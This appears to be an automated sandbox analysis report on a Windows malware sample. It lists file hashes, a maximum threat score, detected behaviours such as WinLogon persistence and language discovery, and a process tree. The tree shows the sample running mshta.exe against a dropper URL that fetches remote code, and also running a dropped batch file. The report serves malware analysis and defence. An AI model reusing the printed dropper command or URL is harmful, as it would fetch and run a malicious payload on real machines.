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Overview

overview

10

Static

static

7

d2783d8eb3...18.exe

windows7-x64

d2783d8eb3...18.exe

windows10-2004-x64

Analysis

  • max time kernel
    8s
  • max time network
    8s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07/09/2024, 17:29

Sharing

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Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    d2783d8eb3a7281096d256f40debe49c_JaffaCakes118.exe

  • Size

    695KB

  • MD5

    d2783d8eb3a7281096d256f40debe49c

  • SHA1

    09fc38cb0d02e6468b74fe4b9cd01765d1d89235

  • SHA256

    a2b464f56255bee1d0b7d1ed5b3f3ed713e45ddfce558172b23da82525da7a04

  • SHA512

    5b86df6179d9e37e7733fa1b13771ee11d22c312edb1b9a52544175e469230aaffd333405af7150ed5b6174790a096b8bea492bf96d9fe2b5bf7f77397dd8d16

  • SSDEEP

    12288:xzCXl6eEblXIh6Yo8Gvp9gw5Plsfxin1rliwYZFtpNr6+8Wibs6EmdH/8Z1Z3o4T:o16eEbRIhPC9bux4OdLrBZZXT

Score
10/10
discoverypersistenceupx

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://lastreporteriche.com/inst.php?id=skytraf01

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d2783d8eb3a7281096d256f40debe49c_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d2783d8eb3a7281096d256f40debe49c_JaffaCakes118.exe"
    1⤵
    • Modifies WinLogon for persistence
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://lastreporteriche.com/inst.php?id=skytraf01
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:2840
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Roaming\shire.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1780
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0
    1⤵
      PID:2584
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x1
      1⤵
        PID:2248

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\shire.bat
        Filesize

        260B

        MD5

        d5cc19b02a4642566d0605d477be5245

        SHA1

        0468c2c450353d95c705b564d53bcbabd8067a43

        SHA256

        2958a7714d63f1582e97994bdd09490f0c2c25021d1b6903d9906002ba228339

        SHA512

        87f50c0aeedf58f5f0bc4ef7fe60d73e61d15356d69a13e87d1ea069564733926244328efe5e7ecac840bdaae42426fc30acb02c1a116d71e83adfb5320071fc

        Download Submit

      • memory/2308-0-0x0000000000400000-0x00000000006E9000-memory.dmp

        Filesize

        2.9MB

        Download

      • memory/2308-1-0x0000000000240000-0x0000000000241000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2308-2-0x0000000003FF0000-0x0000000004000000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2308-14-0x0000000000400000-0x00000000006E9000-memory.dmp

        Filesize

        2.9MB

        Download